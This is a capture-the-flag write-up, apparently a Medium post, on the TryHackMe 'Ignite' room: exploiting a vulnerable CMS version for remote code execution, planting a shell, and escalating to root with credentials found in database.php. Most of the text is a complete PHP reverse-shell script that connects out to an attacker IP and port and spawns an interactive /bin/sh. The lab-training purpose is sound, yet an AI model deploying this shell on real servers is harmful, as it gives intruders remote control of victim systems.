TryHackMe-Ignite(WriteUp)

Hello lovely people! I hope you are all doing great. Another one in the writeups list.

Note: I’ll be showing the answers on top and it’s explanation just below it and as always won’t let you copy paste. See, understand, type yourself and really learn.

Q.1.

As always I love rusty.

Found just a single port open.

The first page you’ll get when you visit the address. Take a note of the version for now.

Ok! This version is vulnerable and to RCE itself. LoL! So, let’s try exploiting.

Get it downloaded.

Now time to change the URL to that of our target IP.

Time to execute and note that is a python2 supported script.

Takes time but works perfect. So, provide any command when prompted.

Time for a reverse shell as we can do simply using this python script.

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '_tun0IP_';  // CHANGE THIS
$port = 6969;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
 // For6470e394cbf6dab6a91682cc8585059bk and have the parent process exit
 $pid = pcntl_fork();
 
 if ($pid == -1) {
  printit("ERROR: Can't fork");
  exit(1);
 }
 
 if ($pid) {
  exit(0);  // Parent exits
 }

 // Make the current process a session leader
 // Will only succeed if we forked
 if (posix_setsid() == -1) {
  printit("Error: Can't setsid()");
  exit(1);
 }

 $daemon = 1;
} else {
 printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
 printit("$errstr ($errno)");
 exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
 printit("ERROR: Can't spawn shell");
 exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
 // Check for end of TCP connection
 if (feof($sock)) {
  printit("ERROR: Shell connection terminated");
  break;
 }

 // Check for end of STDOUT
 if (feof($pipes[1])) {
  printit("ERROR: Shell process terminated");
  break;
 }

 // Wait until a command is end down $sock, or some
 // command output is available on STDOUT or STDERR
 $read_a = array($sock, $pipes[1], $pipes[2]);
 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

 // If we can read from the TCP socket, send
 // data to process's STDIN
 if (in_array($sock, $read_a)) {
  if ($debug) printit("SOCK READ");
  $input = fread($sock, $chunk_size);
  if ($debug) printit("SOCK: $input");
  fwrite($pipes[0], $input);
 }

 // If we can read from the process's STDOUT
 // send data down tcp connection
 if (in_array($pipes[1], $read_a)) {
  if ($debug) printit("STDOUT READ");
  $input = fread($pipes[1], $chunk_size);
  if ($debug) printit("STDOUT: $input");
  fwrite($sock, $input);
 }

 // If we can read from the process's STDERR
 // send data down tcp connection
 if (in_array($pipes[2], $read_a)) {
  if ($debug) printit("STDERR READ");
  $input = fread($pipes[2], $chunk_size);
  if ($debug) printit("STDERR: $input");
  fwrite($sock, $input);
 }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
 if (!$daemon) {
  print "$string\n";
 }
}

?>

Get this copied to a file like shell.php.

Time to host this ‘shell.php’ file.

Time to get this downloaded on the target with this RCE script.

Now open a listener as per the configuration and visit it.

There you go!

Ok! Located User.txt data.

Get Aniket Das’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Q.2.

Now on the documentation page we found something interesting.

So, inhere is the ‘database.php’ file located.

And coincidently the credentials belong to user ‘root’.

It says we need a terminal to use ‘su’. For that we can simply use python modules to spawn a terminal shell.

So, there you go. Privesc was pretty easy. But would have been a nightmare if we wouldn’t have read that documentation page properly.

So, hope you enjoyed it. Follow me up on the next one. Until then, Peace!